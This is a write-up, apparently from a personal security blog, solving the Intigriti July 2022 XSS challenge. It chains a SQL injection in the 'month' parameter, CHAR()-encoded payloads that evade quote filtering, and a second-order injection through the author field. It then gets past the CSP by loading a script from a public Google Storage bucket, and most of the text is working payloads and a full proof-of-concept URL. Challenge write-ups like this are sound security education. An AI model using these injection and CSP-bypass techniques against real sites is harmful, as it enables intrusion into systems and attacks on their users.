Home Write-up: Intigriti 0722 (July 2022) XSS Challenge
Post
Cancel

Write-up: Intigriti 0722 (July 2022) XSS Challenge

It’s been a while since I’ve done an XSS write-up, and the latest Intigriti challenge was fun, so here goes…

0x00: Initial Recon

The site provided by Intigriti is a single-page application that seems fairly limited in functionality. It’s a blog site with a few entries from multiple authors. Most links don’t actually go anywhere, except for the Archives links in the sidebar, which appear functional. The heading “From the Firehose” may relate to the AWS Service, but there’s no further indication of that at this stage.

Website screenshot

0x01: SQL Injection

The only dynamic aspect so far is the month parameter used by the archives links.

Archive links

Supplying a non-numeric input results in an error, and trying some common attack vectors immediately results in an interesting finding. The URL https://challenge-0722.intigriti.io/challenge/challenge.php?month=999%20or%201=1 results in all blog posts being returned, suggesting an SQL injection vulnerability!

After a little experimentation, a UNION query can be used to return arbitrary content to the page:

1
https://challenge-0722.intigriti.io/challenge/challenge.php?month=999%20UNION%20SELECT%201,%202,%203,%204,%205;%20--

The unencoded value being used here is 999 UNION SELECT 1, 2, 3, 4, 5;--. This causes the query to match all blog posts from month 999 (which should result in no results), and then union this empty list with a row containing values 1, 2, 3, 4, and 5. I reached this by trying UNION SELECT 1, UNION SELECT 1, 2, and so on, until I got a result with no error.

The output of this injection is:

Forced output

From this, we can deduce that the query behind the site looks something like:

1
SELECT id, title, content, created_at, author FROM posts WHERE MONTH(created_at) = ?

…where the question mark is the querystring parameter for the month. You’re probably wondering how I’ve inferred the author column from the information we have so far. Playing with the value of the fourth column, I found if I use 1 or 2, the output sets the author name to Anton and Jake accordingly. More on this later.

0x02: No Strings

Since the current payload can reflect content on to the page, it looks like the goal is already close. Changing the payload to the following (using the title field to hold our script) should reflect us a simple payload:

1
999 UNION SELECT 1, '<script>alert(0)</script>', 3, 4, 5;--

…but it doesn’t work. We simply get an error. It’s likely input containing various quotes is being filtered.

We can avoid the use of quotes by using the CHAR() function, which takes any number of ASCII values and returns them as a string. At this point it’s useful to put a script together to assemble our payloads in this way. Even better, we can use a prebuilt tool.

1
999 UNION SELECT 1, CHAR(60,115,99,114,105,112,116,62,97,108,101,114,116,40,48,41,60,47,115,99,114,105,112,116,62), 3, 4, 5;--

The ASCII characters above refer to the string <script>alert(0)</script>. Using this payload gives us the following output:

Failure

Well, it failed, but it’s not the end of the world. We can reflect string data in the page content now, although it appears that certain characters are filtered to prevent cross-site scripting. It may be that another column does not have the same filtering, so it’s worth trying the same payload in multiple places:

1
999 UNION SELECT CHAR(60,115,99,114,105,112,116,62,97,108,101,114,116,40,48,41,60,47,115,99,114,105,112,116,62), CHAR(60,115,99,114,105,112,116,62,97,108,101,114,116,40,48,41,60,47,115,99,114,105,112,116,62), CHAR(60,115,99,114,105,112,116,62,97,108,101,114,116,40,48,41,60,47,115,99,114,105,112,116,62), CHAR(60,115,99,114,105,112,116,62,97,108,101,114,116,40,48,41,60,47,115,99,114,105,112,116,62), CHAR(60,115,99,114,105,112,116,62,97,108,101,114,116,40,48,41,60,47,115,99,114,105,112,116,62);--

This results in the following output:

Mega Failure

Lots more failure. Let’s look at where the different columns are being used:

  • The 1st column (likely id) is not used for anything that we can see.
  • The 2nd column (likely title) is printed to the page, and escaped.
  • The 3rd column (likely content) is printed to the page, and escaped.
  • The 5th column (likely created_at) is printed to the page, and escaped.

But what about the 4th column?

0x03: Chained SQL Injection

Previously we assumed the 4th column related to the author of the article, as setting it to 1 or 2 would result in the author being set to Anton or Jake, so it’s very likely to be the author_id of the article.

It’s possible that the author_id is being used in a later query to get the author’s name, hence this observed behaviour. And since we’ve already observed a SQL injection, it’s quite likely this further query isn’t properly parameterised either, and also vulnerable to injection.

So if we can cause the first query to return some malicious content for the author_id column, we can cause an injection into the second query.

We can imagine the author query probably looks something like:

1
SELECT id, name FROM authors WHERE id = ?

So crafting a payload like this:

1
999 UNION SELECT 1,2;--

Should result in a final injected query like this:

1
SELECT id, name FROM authors WHERE id = 999 UNION SELECT 1,2;--

Of course, we need to make the initial query return the payload above as the author_id column in order to attempt this attack, so we need to craft the initial query like this:

1
999 UNION SELECT 1,2,3,CHAR(57,57,57,32,85,78,73,79,78,32,83,69,76,69,67,84,32,49,44,50,59,45,45),5;--

Initially this results in errors, but varying the number of returned columns eventually works:

The author payload:

1
999 UNION SELECT 1,2,3;--

Built into an initial payload of:

1
999 UNION SELECT 1,2,3,CHAR(57,57,57,32,85,78,73,79,78,32,83,69,76,69,67,84,32,49,44,50,44,51,59,45,45),5;--

Gives us the following:

Success

We are now able to influence the author name field in the output! And we can see it’s the second column that’s being used, hence the 2.

If we swap the 2 out for some script tags, maybe we can get the author name to be output as <script>alert(document.domain)</script> and complete the challenge?

Let’s try:

1
2
3
4
5
6
7
8
Script payload:
<script>alert(document.domain)</script>

Author payload:
999 UNION SELECT 1,CHAR(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,100,111,109,97,105,110,41,60,47,115,99,114,105,112,116,62),3

Initial payload:
999 UNION SELECT 1,2,3,CHAR(57,57,57,32,85,78,73,79,78,32,83,69,76,69,67,84,32,49,44,67,72,65,82,40,54,48,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,54,50,44,57,55,44,49,48,56,44,49,48,49,44,49,49,52,44,49,49,54,44,52,48,44,49,48,48,44,49,49,49,44,57,57,44,49,49,55,44,49,48,57,44,49,48,49,44,49,49,48,44,49,49,54,44,52,54,44,49,48,48,44,49,49,49,44,49,48,57,44,57,55,44,49,48,53,44,49,49,48,44,52,49,44,54,48,44,52,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,54,50,41,44,51),5;--

The result:

Close!

Victory! Except not. Whilst the output is rendered and unescaped, as we wanted, no alert box shows.

0x04: CSP: Constantly Supplying Pain

Inspecting the console for errors yields:

CSP Error

Checking the HTTP headers confirms that the CSP header is the final barrier to our script executing:

1
content-security-policy:	default-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com

There’s not a great deal of complexity in this CSP - it specifies that the only scripts that can run are those loaded from the origin, or from the three wildcarded domains. Inline scripts are not allowed! The CSP Evaluator tool provides us with a hint:

CSP Summary

Host whitelists can frequently be bypassed.

So is there any way we can get our script hosted on any of these whitelisted domains?

0x05: Hey Google, hold this a sec…

The *.googleapis.com domain catches my eye first, as this is used to access public Google Storage buckets.

So let’s create a bucket using GCP, and add a simple javascript file (x.js) with the content:

1
alert(document.domain);

Setting it to public access, it becomes available at https://storage.googleapis.com/xssliamg/x.js, which matches the *.googleapis.com part of the CSP whitelist!

0x06: Putting it all together

So, we now want to render the following HTML:

1
<script src="https://storage.googleapis.com/xssliamg/x.js"></script>

The author payload becomes:

1
999 UNION SELECT 1,CHAR(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,115,116,111,114,97,103,101,46,103,111,111,103,108,101,97,112,105,115,46,99,111,109,47,120,115,115,108,105,97,109,103,47,120,46,106,115,34,62,60,47,115,99,114,105,112,116,62),3

Which means the initial payload becomes:

1
999 UNION SELECT 1,2,3,CHAR(57,57,57,32,85,78,73,79,78,32,83,69,76,69,67,84,32,49,44,67,72,65,82,40,54,48,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,51,50,44,49,49,53,44,49,49,52,44,57,57,44,54,49,44,51,52,44,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,53,44,49,49,54,44,49,49,49,44,49,49,52,44,57,55,44,49,48,51,44,49,48,49,44,52,54,44,49,48,51,44,49,49,49,44,49,49,49,44,49,48,51,44,49,48,56,44,49,48,49,44,57,55,44,49,49,50,44,49,48,53,44,49,49,53,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,50,48,44,49,49,53,44,49,49,53,44,49,48,56,44,49,48,53,44,57,55,44,49,48,57,44,49,48,51,44,52,55,44,49,50,48,44,52,54,44,49,48,54,44,49,49,53,44,51,52,44,54,50,44,54,48,44,52,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,54,50,41,44,51),5;--

Finally, using this in the month parameter, we have the PoC:

1
https://challenge-0722.intigriti.io/challenge/challenge.php?month=999%20UNION%20SELECT%201,2,3,CHAR(57,57,57,32,85,78,73,79,78,32,83,69,76,69,67,84,32,49,44,67,72,65,82,40,54,48,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,51,50,44,49,49,53,44,49,49,52,44,57,57,44,54,49,44,51,52,44,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,49,49,53,44,53,56,44,52,55,44,52,55,44,49,49,53,44,49,49,54,44,49,49,49,44,49,49,52,44,57,55,44,49,48,51,44,49,48,49,44,52,54,44,49,48,51,44,49,49,49,44,49,49,49,44,49,48,51,44,49,48,56,44,49,48,49,44,57,55,44,49,49,50,44,49,48,53,44,49,49,53,44,52,54,44,57,57,44,49,49,49,44,49,48,57,44,52,55,44,49,50,48,44,49,49,53,44,49,49,53,44,49,48,56,44,49,48,53,44,57,55,44,49,48,57,44,49,48,51,44,52,55,44,49,50,48,44,52,54,44,49,48,54,44,49,49,53,44,51,52,44,54,50,44,54,48,44,52,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,54,50,41,44,51),5;--

*drum roll*

SUCCESS

It works! Thanks to Anton Vroemans for the challenge! If you found the write-up useful, follow me on Twitter for more. Thanks for reading!

This post is licensed under CC BY 4.0 by the author.

5 Ways To Speed Up Go Tests

Writing Go Linters

Comments powered by Disqus.